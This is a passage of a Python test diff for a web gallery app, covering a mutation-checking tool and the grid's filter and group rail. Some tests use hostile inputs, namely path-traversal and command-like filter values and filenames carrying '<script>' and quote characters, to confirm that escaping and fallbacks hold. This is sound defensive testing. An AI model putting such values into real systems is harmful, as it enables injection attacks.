)["project"]["version"]
|
||||
assert booth.__version__ == declared
|
||||
assert booth.__version__ != "0.0.0+unknown", "the pyproject read fell through"
|
||||
|
||||
@@ -0,0 +1,130 @@
|
||||
"""Controls for the instrument that certifies every other falsifier.
|
||||
|
||||
`scripts/mutation_check.py` exists because a green test proves nothing until it
|
||||
has seen the change it forbids. The same sentence applies to the tool: it
|
||||
shipped two defects in one session, each of which made it report a falsifier
|
||||
PROVED WITHOUT RUNNING IT (no green baseline; the pyc cache silently reverting
|
||||
byte-identical mutations). Both were found by accident.
|
||||
|
||||
So the tool gets what CLAUDE.md demands of any measurement: a POSITIVE CONTROL
|
||||
it must detect, and a NEGATIVE CONTROL it must not fire on. An instrument that
|
||||
only ever sees unknowns cannot distinguish "absent" from "blind".
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import pathlib
|
||||
import sys
|
||||
|
||||
sys.path.insert(0, str(pathlib.Path(__file__).parent.parent / "scripts"))
|
||||
|
||||
from mutation_check import check # noqa: E402
|
||||
|
||||
|
||||
def _tree(tmp_path, source: str, test_body: str):
|
||||
"""A throwaway repo: one module, one test file, both real on disk."""
|
||||
(tmp_path / "mod.py").write_text(source)
|
||||
(tmp_path / "test_probe.py").write_text(
|
||||
"import sys, pathlib\n"
|
||||
"sys.path.insert(0, str(pathlib.Path(__file__).parent))\n"
|
||||
"from mod import f\n\n" + test_body
|
||||
)
|
||||
return tmp_path
|
||||
|
||||
|
||||
def test_a_real_falsifier_is_reported_proved(tmp_path):
|
||||
"""NEGATIVE CONTROL — the tool must not cry wolf on a sound test.
|
||||
|
||||
`f` returns 2; the test asserts it. Flipping the constant must go red, and
|
||||
the tool must say so."""
|
||||
repo = _tree(tmp_path, "def f():\n return 2\n",
|
||||
"def test_f():\n assert f() == 2\n")
|
||||
proved, note = check(
|
||||
{"label": "flip the constant", "file": "mod.py", "test": "test_probe.py::test_f",
|
||||
"old": "return 2", "new": "return 3"}, repo=repo)
|
||||
assert proved, note
|
||||
|
||||
|
||||
def test_a_vacuous_falsifier_is_caught(tmp_path):
|
||||
"""POSITIVE CONTROL — the one that matters, and the one usually skipped.
|
||||
|
||||
The test asserts only that `f()` is an int, so flipping the constant does
|
||||
NOT break it. The test cites the behaviour without forbidding it. The tool
|
||||
must report NOT PROVED; if it cannot detect a known-vacuous falsifier, its
|
||||
twelve `proved` lines are worth nothing."""
|
||||
repo = _tree(tmp_path, "def f():\n return 2\n",
|
||||
"def test_f():\n assert isinstance(f(), int)\n")
|
||||
proved, note = check(
|
||||
{"label": "flip the constant", "file": "mod.py", "test": "test_probe.py::test_f",
|
||||
"old": "return 2", "new": "return 3"}, repo=repo)
|
||||
assert not proved
|
||||
assert "VACUOUS" in note
|
||||
|
||||
|
||||
def test_an_already_red_test_is_a_harness_failure_not_a_proof(tmp_path):
|
||||
"""DEFECT 1, as a control. Before the baseline check this returned PROVED —
|
||||
a broken assertion reading as a certified falsifier."""
|
||||
repo = _tree(tmp_path, "def f():\n return 2\n",
|
||||
"def test_f():\n assert f() == 99\n")
|
||||
proved, note = check(
|
||||
{"label": "flip the constant", "file": "mod.py", "test": "test_probe.py::test_f",
|
||||
"old": "return 2", "new": "return 3"}, repo=repo)
|
||||
assert not proved
|
||||
assert "BASELINE RED" in note
|
||||
|
||||
|
||||
def test_a_same_size_mutation_is_not_swallowed_by_the_bytecode_cache(tmp_path):
|
||||
"""DEFECT 2, as a control. `< 2` -> `< 1` is byte-identical in size, so a
|
||||
mutation landing in the same mtime second as the revert before it used to
|
||||
run against cached bytecode and report PROVED having tested nothing.
|
||||
|
||||
Run twice: the verdict must be stable. The original defect's tell was
|
||||
exactly a verdict that flipped between consecutive identical runs."""
|
||||
repo = _tree(tmp_path, "def f(n):\n return n < 2\n",
|
||||
"def test_f():\n assert f(1) is True and f(2) is False\n")
|
||||
m = {"label": "off by one", "file": "mod.py", "test": "test_probe.py::test_f",
|
||||
"old": "return n < 2", "new": "return n < 1"}
|
||||
assert [check(m, repo=repo)[0] for _ in range(2)] == [True, True]
|
||||
|
||||
|
||||
def test_a_drifted_anchor_is_reported_not_skipped(tmp_path):
|
||||
"""A table whose `old` no longer matches the source stops proving anything.
|
||||
Silently skipping it would shrink the denominator and keep the run green."""
|
||||
repo = _tree(tmp_path, "def f():\n return 2\n",
|
||||
"def test_f():\n assert f() == 2\n")
|
||||
proved, note = check(
|
||||
{"label": "stale", "file": "mod.py", "test": "test_probe.py::test_f",
|
||||
"old": "return 2222", "new": "return 3"}, repo=repo)
|
||||
assert not proved
|
||||
assert "anchor not found" in note
|
||||
|
||||
|
||||
def test_the_source_is_restored_even_when_the_mutation_proves(tmp_path):
|
||||
"""The tool writes to tracked source files. Leaving one mutated would put a
|
||||
defect in the tree that looks like authored code."""
|
||||
repo = _tree(tmp_path, "def f():\n return 2\n",
|
||||
"def test_f():\n assert f() == 2\n")
|
||||
before = (repo / "mod.py").read_text()
|
||||
check({"label": "flip", "file": "mod.py", "test": "test_probe.py::test_f",
|
||||
"old": "return 2", "new": "return 3"}, repo=repo)
|
||||
assert (repo / "mod.py").read_text() == before
|
||||
|
||||
|
||||
def test_a_reverted_file_keeps_its_mtime(tmp_path):
|
||||
"""The repo IS its own deployment root: nothing takes effect until the
|
||||
service restarts, so "is :8090 stale?" is answered by comparing the
|
||||
service's start time against source mtimes. A tool that rewrites a file
|
||||
with identical bytes still bumps its mtime and makes that check lie — it
|
||||
reported the live service 16 minutes stale when it was current.
|
||||
|
||||
Defeating change: dropping the os.utime in the restore."""
|
||||
import os
|
||||
|
||||
repo = _tree(tmp_path, "def f():\n return 2\n",
|
||||
"def test_f():\n assert f() == 2\n")
|
||||
mod = repo / "mod.py"
|
||||
os.utime(mod, (1_000_000_000, 1_000_000_000))
|
||||
before = mod.stat().st_mtime_ns
|
||||
check({"label": "flip", "file": "mod.py", "test": "test_probe.py::test_f",
|
||||
"old": "return 2", "new": "return 3"}, repo=repo)
|
||||
assert mod.stat().st_mtime_ns == before
|
||||
@@ -0,0 +1,551 @@
|
||||
"""U7 — the rail, the filters, the grid keyboard, and the groups.
|
||||
|
||||
All four components. The fourth — replacing directory sections with
|
||||
filename-derived groups — was a scope DEPARTURE from ROADMAP's U7 row and was
|
||||
ratified by the operator on 2026-09-22; `test_no_group_rail_is_shipped_yet`,
|
||||
the guard that held it back while the ruling was outstanding, was deleted in
|
||||
the commit that built it. A guard that outlives its reason is worse than no
|
||||
guard, because the next reader trusts it.
|
||||
|
||||
`unanswered` is taken to mean HAS AN OPEN PICK — the U4 hold predicate, which
|
||||
already exists and already has a home. The alternative reading ("has no mark at
|
||||
all") is a real and different question and is the contract's open question.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import pathlib
|
||||
import sys
|
||||
|
||||
import pytest
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
sys.path.insert(0, str(pathlib.Path(__file__).parent.parent))
|
||||
|
||||
from booth.app import create_app # noqa: E402
|
||||
from booth.marks import declare_pick, set_flag, write_note # noqa: E402
|
||||
|
||||
PNG = b"\x89PNG\r\n\x1a\n"
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def gallery(tmp_path):
|
||||
"""A booth with one of each: flagged, annotated, open pick, and plain."""
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
for n in ("a.png", "b.png", "c.png", "d.png"):
|
||||
(b / n).write_bytes(PNG)
|
||||
set_flag(b, "a.png", True)
|
||||
write_note(b, "b.png", "a remark")
|
||||
declare_pick(b, "q", {"prompt": "Which?", "options": ["x", "y"]}, target="c.png")
|
||||
app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
|
||||
return TestClient(app), b
|
||||
|
||||
|
||||
def _tiles(body: str) -> list[str]:
|
||||
"""The rels the grid actually rendered, in render order."""
|
||||
import re
|
||||
# `data-item` already exists on every tile (both the doc and media
|
||||
# variants). Reusing it rather than adding a parallel `data-rel` is the
|
||||
# same one-fact-one-place discipline INV-1 states for item facts.
|
||||
return re.findall(r'data-item="([^"]+)"', body)
|
||||
|
||||
|
||||
def test_the_rail_counts_every_filter(gallery):
|
||||
c, _ = gallery
|
||||
body = c.get("/b/g/").text
|
||||
assert 'class="rail"' in body
|
||||
for token in ("all", "flagged", "annotated", "unanswered"):
|
||||
assert f'data-filter="{token}"' in body, token
|
||||
|
||||
|
||||
@pytest.mark.parametrize("flt,expected", [
|
||||
("all", ["a.png", "b.png", "c.png", "d.png"]),
|
||||
("flagged", ["a.png"]),
|
||||
("annotated", ["b.png"]),
|
||||
("unanswered", ["c.png"]),
|
||||
])
|
||||
def test_a_filter_narrows_the_grid_server_side(gallery, flt, expected):
|
||||
"""INV-4: a filter is a LINK, not a script. Fetched directly, with no JS
|
||||
executed, the server must return the narrowed grid.
|
||||
|
||||
Defeating change: binding filters to a click handler and returning the full
|
||||
grid for every URL — under which this test gets four tiles every time."""
|
||||
c, _ = gallery
|
||||
assert _tiles(c.get(f"/b/g/?filter={flt}").text) == expected
|
||||
|
||||
|
||||
def test_filtering_never_reorders(gallery):
|
||||
"""INV-2, the load-bearing one. Grouping and filtering are VIEWS.
|
||||
|
||||
The defeating change is sorting the grid by anything derived from the
|
||||
filter — which looks right and silently changes what "the third one" means,
|
||||
the misfiled-judgment failure CLAUDE.md invariant 6 exists to prevent.
|
||||
|
||||
Asserted as a SUBSEQUENCE rather than a set: order is the property, so a
|
||||
filter that returned the right tiles in the wrong sequence must go red."""
|
||||
c, _ = gallery
|
||||
# ⚠ THE BASELINE IS COMPUTED INDEPENDENTLY, and that is the whole test.
|
||||
# The first version of this compared each filtered view against the
|
||||
# UNFILTERED RESPONSE — and a mutation that reversed the order reversed
|
||||
# both sides, so it stayed green under the exact change it forbade. Caught
|
||||
# by running the mutation rather than trusting the assertion, which is the
|
||||
# discipline in persistent-memory.d/2026-09-22-vacuous-falsifiers.md and
|
||||
# which this test failed first time out.
|
||||
#
|
||||
# The independent truth is U1 INV-3: the item order IS `sorted(rel)`. So
|
||||
# each filtered view must be sorted, full stop, with no reference to any
|
||||
# other response.
|
||||
for flt in ("all", "flagged", "annotated", "unanswered"):
|
||||
got = _tiles(c.get(f"/b/g/?filter={flt}").text)
|
||||
assert got == sorted(got), f"{flt} rendered out of sorted(rel) order: {got}"
|
||||
# and every filtered view is a SUBSEQUENCE of the true order, not a reshuffle
|
||||
every = sorted(["a.png", "b.png", "c.png", "d.png"])
|
||||
for flt in ("all", "flagged", "annotated", "unanswered"):
|
||||
got = _tiles(c.get(f"/b/g/?filter={flt}").text)
|
||||
assert got == [r for r in every if r in got], flt
|
||||
|
||||
|
||||
def test_an_unknown_filter_falls_back_to_all_and_does_not_500(gallery):
|
||||
"""A filter arrives from a URL, which is operator-editable and link-shared.
|
||||
Defeating change: indexing a dict by the raw parameter."""
|
||||
c, _ = gallery
|
||||
for junk in ("nonsense", "", "../../etc", "flagged;drop"):
|
||||
r = c.get(f"/b/g/?filter={junk}")
|
||||
assert r.status_code == 200, junk
|
||||
assert len(_tiles(r.text)) == 4, junk
|
||||
|
||||
|
||||
def test_the_zoom_ring_is_identical_under_every_filter(gallery):
|
||||
"""The ring is the item order filtered to images and must not notice the
|
||||
grid's filter — otherwise `next` means something different depending on how
|
||||
the operator arrived, and a flag lands on the wrong artifact.
|
||||
|
||||
Defeating change: building the ring from the filtered list."""
|
||||
c, _ = gallery
|
||||
rings = set()
|
||||
for flt in ("all", "flagged", "annotated", "unanswered"):
|
||||
c.get(f"/b/g/?filter={flt}")
|
||||
body = c.get("/b/g/b.png?view=1").text
|
||||
import re
|
||||
rings.add(tuple(re.findall(r'href="([^"]*\.png[^"]*)"', body)))
|
||||
assert len(rings) == 1, f"the ring changed with the filter: {rings}"
|
||||
|
||||
|
||||
def test_the_rail_is_absent_on_a_booth_with_no_grid(tmp_path):
|
||||
"""INV-5's sibling: a rail over nothing is chrome. The standing link board
|
||||
has no items, so it must not render one."""
|
||||
b = tmp_path / "links"
|
||||
b.mkdir()
|
||||
(b / "links.md").write_text("- [r](https://x.test/) <sub>· a · 2026-09-01 00:00</sub>\n")
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
assert 'class="rail"' not in c.get("/b/links/").text
|
||||
|
||||
|
||||
def test_the_keyboard_is_not_bound_when_there_is_no_grid(tmp_path):
|
||||
"""INV-5. Defeating change: binding the handler unconditionally, so `f` on
|
||||
the standing link board swallows the keystroke and flags nothing."""
|
||||
b = tmp_path / "links"
|
||||
b.mkdir()
|
||||
(b / "links.md").write_text("- [r](https://x.test/) <sub>· a · 2026-09-01 00:00</sub>\n")
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
assert "gridkeys" not in c.get("/b/links/").text
|
||||
|
||||
|
||||
def test_the_keyboard_is_bound_when_there_is_one(gallery):
|
||||
c, _ = gallery
|
||||
assert "gridkeys" in c.get("/b/g/").text
|
||||
|
||||
|
||||
|
||||
|
||||
# --- U7 slice 2: the groups ----------------------------------------------
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def grouped(tmp_path):
|
||||
"""Two groups whose members INTERLEAVE in `sorted(rel)`.
|
||||
|
||||
`a/x1.png, a/y1.png, b/x2.png, b/y2.png` is the sorted order; group `x` is
|
||||
at positions 0 and 2, group `y` at 1 and 3. That interleaving is the whole
|
||||
point of the fixture — a grid re-sorted by `(group, rel)` to make groups
|
||||
render contiguously would pass every set-based assertion and fail these.
|
||||
"""
|
||||
b = tmp_path / "g"
|
||||
for rel in ("a/x1.png", "a/y1.png", "b/x2.png", "b/y2.png"):
|
||||
p = b / rel
|
||||
p.parent.mkdir(parents=True, exist_ok=True)
|
||||
p.write_bytes(PNG)
|
||||
app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
|
||||
return TestClient(app), b
|
||||
|
||||
|
||||
def _groups(body: str) -> list[str]:
|
||||
"""The group keys the rail listed, in render order."""
|
||||
import re
|
||||
return re.findall(r'data-group="([^"]+)"', body)
|
||||
|
||||
|
||||
def test_the_rail_lists_groups_when_grouping_is_informative(grouped):
|
||||
c, _ = grouped
|
||||
body = c.get("/b/g/").text
|
||||
assert 'class="rail-groups"' in body
|
||||
assert _groups(body) == ["x", "y"]
|
||||
|
||||
|
||||
def test_group_order_is_the_position_of_the_first_member(tmp_path):
|
||||
"""The settled rule (ROADMAP, operator 2026-09-22): groups order by where
|
||||
each group's FIRST member falls in the rendered sequence.
|
||||
|
||||
⚠ THIS FIXTURE IS BUILT SO THE THREE PLAUSIBLE RULES ALL DISAGREE. The
|
||||
first version used `w, x, y` — whose positional order happens to BE
|
||||
alphabetical, so it stayed green under the very change it forbade. Caught
|
||||
by running the mutation, not by reading the assertion; the same trap
|
||||
persistent-memory.d/2026-09-22-vacuous-falsifiers.md names and the same one
|
||||
`test_filtering_never_reorders` fell into an hour after it was written.
|
||||
|
||||
sorted(rel): a/z1 a/z2 b/a1 b/a2 b/a3 c/m1 c/m2
|
||||
by position: z (0), a (2), m (5) <- the rule
|
||||
alphabetical: a, m, z <- wrong, and differs
|
||||
by count: a(3), z(2), m(2) <- wrong, and differs
|
||||
"""
|
||||
b = tmp_path / "g"
|
||||
for rel in ("a/z1.png", "a/z2.png", "b/a1.png", "b/a2.png", "b/a3.png",
|
||||
"c/m1.png", "c/m2.png"):
|
||||
q = b / rel
|
||||
q.parent.mkdir(parents=True, exist_ok=True)
|
||||
q.write_bytes(PNG)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
assert _groups(c.get("/b/g/").text) == ["z", "a", "m"]
|
||||
|
||||
|
||||
def test_grouping_never_reorders_the_grid(grouped):
|
||||
"""INV-2, the load-bearing one.
|
||||
|
||||
The defeating change is sorting the grid by `(group, rel)` so groups render
|
||||
contiguously — which looks right, passes any set comparison, and silently
|
||||
changes what "the third one" means. This fixture interleaves precisely so
|
||||
that change goes red.
|
||||
|
||||
The baseline is INDEPENDENT (U1 INV-3: the order IS `sorted(rel)`), not a
|
||||
second response — the vacuous-falsifier trap this suite already fell into
|
||||
once."""
|
||||
c, _ = grouped
|
||||
tiles = _tiles(c.get("/b/g/").text)
|
||||
assert tiles == ["a/x1.png", "a/y1.png", "b/x2.png", "b/y2.png"]
|
||||
assert tiles == sorted(tiles)
|
||||
|
||||
|
||||
def test_every_group_anchor_lands_on_a_rendered_tile(grouped):
|
||||
"""A jump-to-group link that scrolls nowhere is worse than no link. Every
|
||||
anchor must name an id the page actually carries.
|
||||
|
||||
Defeating change: anchoring to the group KEY (`#group-x`) while the tiles
|
||||
carry `id="item-<rel>"` — which renders, looks right, and does nothing."""
|
||||
import re
|
||||
c, _ = grouped
|
||||
body = c.get("/b/g/").text
|
||||
hrefs = re.findall(r'class="rail-g"[^>]*href="#([^"]+)"', body)
|
||||
assert hrefs, "the rail rendered no group anchors"
|
||||
for h in hrefs:
|
||||
assert f'id="{h}"' in body, f"anchor #{h} names no element on the page"
|
||||
|
||||
|
||||
def test_no_group_rail_when_every_item_is_its_own_group(gallery):
|
||||
"""INV-3's real failure mode, and it is NOT the one the contract feared.
|
||||
|
||||
`a.png b.png c.png d.png` yields four groups of one — a rail that is a
|
||||
second copy of the grid. Measured live: `pewpew-ui-brief` gives 23 groups
|
||||
for 34 items, `dfa-concepts` 13 for 20. The contract only guarded the
|
||||
opposite degeneracy (one group for everything), which is why this test
|
||||
exists.
|
||||
|
||||
Defeating change: `{% if rail.groups %}`, true for four singletons."""
|
||||
c, _ = gallery
|
||||
body = c.get("/b/g/").text
|
||||
assert 'class="rail-groups"' not in body
|
||||
assert 'class="rail"' in body, "the filter rail must still be here"
|
||||
|
||||
|
||||
def test_no_group_rail_when_there_is_only_one_group(tmp_path):
|
||||
"""INV-3 as the contract states it, with the live specimen: `sc-iso-spread`
|
||||
is `DSC0001.jpg` through `DSC0006.jpg` — one group, six images.
|
||||
|
||||
Defeating change: `{% if rail.groups %}`, true for a single group."""
|
||||
b = tmp_path / "flat"
|
||||
b.mkdir()
|
||||
for i in range(1, 7):
|
||||
(b / f"DSC{i:04d}.jpg").write_bytes(PNG)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
body = c.get("/b/flat/").text
|
||||
assert 'class="rail-groups"' not in body
|
||||
assert 'class="rail"' in body
|
||||
|
||||
|
||||
def test_groups_describe_the_filtered_grid(tmp_path):
|
||||
"""The rail describes what is ON SCREEN. An anchor to a group the filter
|
||||
has hidden would scroll nowhere — the same defect as a wrong id, arriving
|
||||
by a different route.
|
||||
|
||||
Three groups of two; the flag covers `x` and `y` entirely and `z` not at
|
||||
all. Under `?filter=flagged` the rail must list x and y and MUST NOT list
|
||||
z, whose two tiles are not on the page.
|
||||
|
||||
Defeating change: deriving groups from the full gallery rather than from
|
||||
the rendered list — under which `z` appears and its anchor goes nowhere."""
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
for n in ("x1.png", "x2.png", "y1.png", "y2.png", "z1.png", "z2.png"):
|
||||
(b / n).write_bytes(PNG)
|
||||
for n in ("x1.png", "x2.png", "y1.png", "y2.png"):
|
||||
set_flag(b, n, True)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
|
||||
assert _groups(c.get("/b/g/").text) == ["x", "y", "z"]
|
||||
body = c.get("/b/g/?filter=flagged").text
|
||||
assert _groups(body) == ["x", "y"]
|
||||
assert _tiles(body) == ["x1.png", "x2.png", "y1.png", "y2.png"]
|
||||
|
||||
|
||||
def test_a_filtered_view_too_small_to_group_drops_the_group_row(grouped):
|
||||
"""The informativeness rule binds to the RENDERED list, not to the booth.
|
||||
|
||||
One flagged tile is one group of one, which cannot navigate — so the group
|
||||
row goes away even though the unfiltered booth has a perfectly good one.
|
||||
The filter rail stays, because that is how the operator gets back."""
|
||||
c, b = grouped
|
||||
set_flag(b, "a/x1.png", True)
|
||||
assert 'class="rail-groups"' in c.get("/b/g/").text
|
||||
body = c.get("/b/g/?filter=flagged").text
|
||||
assert 'class="rail-groups"' not in body
|
||||
assert 'class="rail"' in body
|
||||
|
||||
|
||||
def test_the_zoom_ring_ignores_grouping(grouped):
|
||||
"""The ring is `sorted(rel)` filtered to images and must not notice groups
|
||||
any more than it notices filters.
|
||||
|
||||
THE FIXTURE IS THE FALSIFIER. From `a/x1.png`, sorted order says next is
|
||||
`a/y1.png` — a DIFFERENT group. A ring rebuilt per group would say
|
||||
`b/x2.png`, the next member of group `x`, and `→` would start walking a
|
||||
sequence the operator never saw on the page. That is invariant 6's
|
||||
misfiled-judgment failure exactly: the flag lands on the wrong artifact."""
|
||||
import re
|
||||
c, _ = grouped
|
||||
body = c.get("/b/g/view?f=a/x1.png").text
|
||||
nxt = re.findall(r'class="vnav vnext" href="\?f=([^"&]+)"', body)
|
||||
assert nxt == ["a/y1.png"], f"the ring followed the group, not sorted(rel): {nxt}"
|
||||
# and the zoom page has no group chrome at all — it is one artifact, not a wall
|
||||
assert "data-group" not in body
|
||||
|
||||
|
||||
def test_no_route_body_derives_a_group(gallery):
|
||||
"""INV-1, the same assertion U1 makes for `classify` and `render_doc`.
|
||||
|
||||
Defeating change: a route or template computing a prefix inline — the
|
||||
caption bug in a new field."""
|
||||
import inspect
|
||||
|
||||
import booth.app as app_mod
|
||||
|
||||
src = inspect.getsource(app_mod.create_app)
|
||||
assert "_group_of" not in src, "create_app must read Item.group, not derive it"
|
||||
|
||||
|
||||
def test_a_hostile_filename_cannot_break_out_of_the_rail(tmp_path):
|
||||
"""Group keys and anchors are AGENT-AUTHORED — they are filenames, and a
|
||||
session makes a booth by making a folder with no validation anywhere in the
|
||||
path. CLAUDE.md names autoescape as load-bearing for exactly this.
|
||||
|
||||
Defeating change: building the rail markup with `|safe`, or assembling the
|
||||
href by string concatenation outside Jinja. Both render, both look right,
|
||||
and both put attacker-controlled bytes into an attribute."""
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
for n in ('q"x1.png', 'q"x2.png', "s<script>1.png", "s<script>2.png"):
|
||||
(b / n).write_bytes(PNG)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
import re
|
||||
r = c.get("/b/g/")
|
||||
assert r.status_code == 200
|
||||
body = r.text
|
||||
|
||||
# THE RAIL ITSELF, isolated — asserting over the whole page would pass on a
|
||||
# booth where the escaping happened somewhere else.
|
||||
nav = re.search(r'<nav class="rail-groups".*?</nav>', body, re.S)
|
||||
assert nav, "the rail rendered no group row"
|
||||
nav = nav.group(0)
|
||||
|
||||
# No tag the template did not write, and no attribute the filename closed.
|
||||
# Asserted as the SET of element names rather than by counting `<`, which
|
||||
# the first version got wrong by forgetting the `<b>` counts — an arithmetic
|
||||
# slip that made the test red for a reason unrelated to escaping.
|
||||
tags = set(re.findall(r"</?([a-zA-Z][a-zA-Z0-9]*)", nav))
|
||||
assert tags == {"nav", "a", "b"}, f"the rail grew an element: {tags}"
|
||||
assert 'data-group="q"' not in nav, "the quote closed the attribute"
|
||||
assert "<script>" in nav and "<script" not in nav
|
||||
assert """ in nav or """ in nav, "the quote was not escaped"
|
||||
|
||||
|
||||
def test_a_group_key_is_never_the_empty_string(tmp_path):
|
||||
"""`_group_of` returns None rather than "" for a stem with nothing before
|
||||
the digits. A "" key would render a nameless rail row that files every
|
||||
numbered render under it — the failure the None is there to prevent.
|
||||
|
||||
Defeating change: `return segs[0]` without the `or None`."""
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
for n in ("01.png", "02.png", "03.png", "ac1.png", "ac2.png"):
|
||||
(b / n).write_bytes(PNG)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
body = c.get("/b/g/").text
|
||||
assert 'data-group=""' not in body
|
||||
assert "" not in _groups(body)
|
||||
|
||||
|
||||
# --- from the heid bug-hunt panel, 2026-09-22 -----------------------------
|
||||
# 4-of-4 convergence on the anchor, two strong solos from Gróa, and three of
|
||||
# this file's own falsifiers shown vacuous by the arms' guard-strength passes.
|
||||
|
||||
|
||||
def test_a_group_anchor_survives_a_filename_that_percent_decodes(tmp_path):
|
||||
"""THE 4-OF-4 FINDING. The anchor was the RAW rel spliced into an href
|
||||
fragment with no percent-encoding, while the tile id was equally raw.
|
||||
|
||||
A browser matches a fragment against ids RAW FIRST, then percent-decoded —
|
||||
so the failure is not "goes nowhere", it is worse: with both `a b.png` and
|
||||
`a%20b.png` in one booth, the first's href resolves to the fragment
|
||||
`item-a%20b.png` and the raw pass matches the SECOND file's id. The jump
|
||||
lands on the wrong artifact, which is the misfiled-judgment failure
|
||||
invariant 6 exists to prevent, arriving through a path invariant 6 never
|
||||
looked at.
|
||||
|
||||
Both sides now use the already-percent-encoded `Item.url`, which is
|
||||
injective (`a b` -> `a%20b`, `a%20b` -> `a%2520b`) and is the convention
|
||||
`booth_flag` has always used. Defeating change: building either side from
|
||||
`name`."""
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
for n in ("a b-1.png", "a b-2.png", "a%20b-1.png", "a%20b-2.png"):
|
||||
(b / n).write_bytes(PNG)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
body = c.get("/b/g/").text
|
||||
|
||||
import re
|
||||
hrefs = re.findall(r'class="rail-g"[^>]*href="#([^"]+)"', body, re.S)
|
||||
assert len(hrefs) == 2, f"expected two groups, got {hrefs}"
|
||||
# Every anchor names an id that exists AND no two anchors collide.
|
||||
assert len(set(hrefs)) == len(hrefs), f"two groups share one anchor: {hrefs}"
|
||||
for h in hrefs:
|
||||
assert f'id="{h}"' in body, f"anchor #{h} names no element"
|
||||
# and the raw form must NOT appear as an id, or the raw-first match steals it
|
||||
assert 'id="item-a b-1.png"' not in body
|
||||
|
||||
|
||||
def test_a_group_anchor_names_the_FIRST_member(grouped):
|
||||
"""GRÓA + HULDA + REGIN all found the same hole independently: the original
|
||||
anchor test only checked the href occurred as SOME id on the page, so a
|
||||
`v[0]` -> `v[-1]` mutation survived it completely. Three arms, one gap,
|
||||
and my own mutation table had no row for it — the fifth vacuous falsifier
|
||||
of the day.
|
||||
|
||||
`a/x1.png` and `b/x2.png` are group x; the anchor must be the first."""
|
||||
import re
|
||||
c, _ = grouped
|
||||
body = c.get("/b/g/").text
|
||||
got = dict(re.findall(r'class="rail-g" data-group="([^"]+)"\s*\n?\s*href="#item-([^"]+)"', body))
|
||||
assert got == {"x": "a/x1.png", "y": "a/y1.png"}, got
|
||||
|
||||
|
||||
def test_a_group_row_reports_its_own_size(grouped):
|
||||
"""HULDA's guard table: `len(v)` -> `len(v) + 1` survived every assertion.
|
||||
The counts were rendered and never checked."""
|
||||
import re
|
||||
c, _ = grouped
|
||||
body = c.get("/b/g/").text
|
||||
counts = re.findall(r'class="rail-g"[^>]*>\s*(\S+)\s*<b>(\d+)</b>', body, re.S)
|
||||
assert dict((k, int(v)) for k, v in counts) == {"x": 2, "y": 2}
|
||||
|
||||
|
||||
def test_the_informativeness_guard_reads_the_middle_not_the_largest(tmp_path):
|
||||
"""HULDA's guard table: `sizes[len(sizes)//2]` -> `sizes[-1]` survived,
|
||||
because no fixture distinguished the middle group from the biggest one.
|
||||
|
||||
Three singletons and one group of four: the largest is 4, the upper median
|
||||
is 1. The rail must be ABSENT — a rail whose rows are three-quarters
|
||||
single tiles is the second-copy-of-the-grid degeneracy."""
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
for n in ("p1.png", "q1.png", "r1.png",
|
||||
"z1.png", "z2.png", "z3.png", "z4.png"):
|
||||
(b / n).write_bytes(PNG)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
assert 'class="rail-groups"' not in c.get("/b/g/").text
|
||||
|
||||
|
||||
def test_a_filter_that_matches_nothing_leaves_a_way_back(tmp_path):
|
||||
"""GRÓA's strongest solo, and in her words the finding most likely to bite
|
||||
users this week.
|
||||
|
||||
`{% elif items %}` gated the ENTIRE rail on the FILTERED list, so a valid
|
||||
filter with zero hits removed the rail, the filter links, and the way back
|
||||
to `all` — and the empty-booth branch then announced the booth was empty
|
||||
while `rail.total` held the real count. No recovery without editing the
|
||||
address bar, and it degraded the same way with JavaScript off.
|
||||
|
||||
⚠ THE FIXTURE MUST ACTUALLY HAVE NO HITS. The first version of this test
|
||||
used the shared `gallery` fixture, which carries one of each mark — so
|
||||
`?filter=flagged` returned one tile and the test passed without ever
|
||||
reaching the state it names. Four unmarked images; every filter but `all`
|
||||
is empty.
|
||||
|
||||
Defeating change: gating the rail on `items` instead of `all_items`."""
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
for n in ("a.png", "b.png", "c.png", "d.png"):
|
||||
(b / n).write_bytes(PNG)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
|
||||
for flt in ("flagged", "annotated", "unanswered"):
|
||||
body = c.get(f"/b/g/?filter={flt}").text
|
||||
assert _tiles(body) == [], flt
|
||||
assert 'class="rail"' in body, f"{flt}: the rail vanished with the filtered list"
|
||||
assert 'href="/b/g/"' in body, f"{flt}: no way back to `all`"
|
||||
assert "This booth is empty" not in body, f"{flt}: an empty FILTER is not an empty booth"
|
||||
assert "4 items" in body, f"{flt}: the rail must still report the real total"
|
||||
|
||||
|
||||
def test_an_empty_booth_still_says_it_is_empty(tmp_path):
|
||||
"""The negative control for the test above: the empty-booth message must
|
||||
survive the fix that stops a filter from triggering it."""
|
||||
b = tmp_path / "hollow"
|
||||
b.mkdir()
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
